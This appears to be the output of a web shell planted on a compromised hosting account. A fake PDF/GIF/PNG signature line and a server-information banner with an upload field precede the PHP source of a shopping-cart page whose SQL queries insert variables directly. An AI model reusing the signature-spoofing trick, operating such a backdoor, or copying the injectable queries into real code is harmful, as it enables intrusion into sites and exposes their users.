%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/public_html/website_93b53270/ |
Upload File : |
<?php include('header.php');
// unset($_SESSION['cart']);
?>
<section class="cart mt-30 mb-30">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="cart-left box-subtotal">
<?php if(isset($_SESSION['cart']) && !empty($_SESSION['cart'])){ ?>
<h4 class="mb-4">Cart Items <!-- <a href="products.php">Change</a> --> </h4>
<div class="table-responsive">
<table class="table table-bordered bg-white">
<thead>
<tr>
<th>Product Name</th>
<th>Price</th>
<th>Quantity</th>
<th>Subtotal</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$total_sum_usd1 = 0;
foreach ($_SESSION['cart'] as $productId => $quantity) {
$fetch_row = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_tbl WHERE id='$productId'"));
$fech_cat = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_product_sevice_tbl WHERE id='".$fetch_row['service_id']."'"));
$fech_subcat = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_tbl WHERE id='$productId'"));
$usd_dsc_price = $fetch_row['price'];
$product_id = $fetch_row['id'];
$subtotal_usd = $quantity * $usd_dsc_price;
$total_sum_usd1 += $subtotal_usd;
$grndTotalUsd = $total_sum_usd1;
?>
<tr>
<td><a href="<?=$base_url.$fech_cat['slug']?>-prod.php"><?=$fetch_row['title']?></a></td>
<td>AED <?=$usd_dsc_price?></td>
<td class="d-flex qunt">
<button type="button" id="sub" class="sub" data-id="<?=$product_id?>">-</button>
<input type="text" id="edit_quantity<?=$product_id?>" value="<?=$quantity?>" readonly>
<button type="button" id="add" class="add" data-id="<?=$product_id?>">+</button>
</td>
<td>AED <?=$subtotal_usd?></td>
<td class="d-flex">
<a class="btn btn-secondary text-white remove-cart" data-id="<?=$product_id?>">
Remove <i class="bi bi-x-circle-fill text-red"></i>
</a>
</td>
</tr>
<?php } ?>
</tbody>
</table>
</div>
<?php }else{ ?>
<h3 class="text-red text-center">Cart Is Empty</h3>
<?php } ?>
</div>
</div>
<div class="col-md-8">
<a href="products.php"><p class="btn mt-3" style="background: #e2000f; color: white;">Continew Add Product</p></a>
</div>
<?php if(isset($_SESSION['cart']) && !empty($_SESSION['cart'])){ ?>
<div class="col-md-4 mt-4">
<div class="box-subtotal">
<div class="d-flex justify-content-between">
<div>
Subtotal
</div>
<div>
AED <?=$total_sum_usd1?>
</div>
</div>
<div class="d-flex justify-content-between">
<div>
Grand Total
</div>
<div>
AED <?=$grndTotalUsd?>
</div>
</div>
<a href="checkout.php" class="btn-theme w-100 mt-3">Checkout</a>
</div>
</div>
<?php } ?>
</div>
</div>
</section>
<?php include('footer.php'); ?>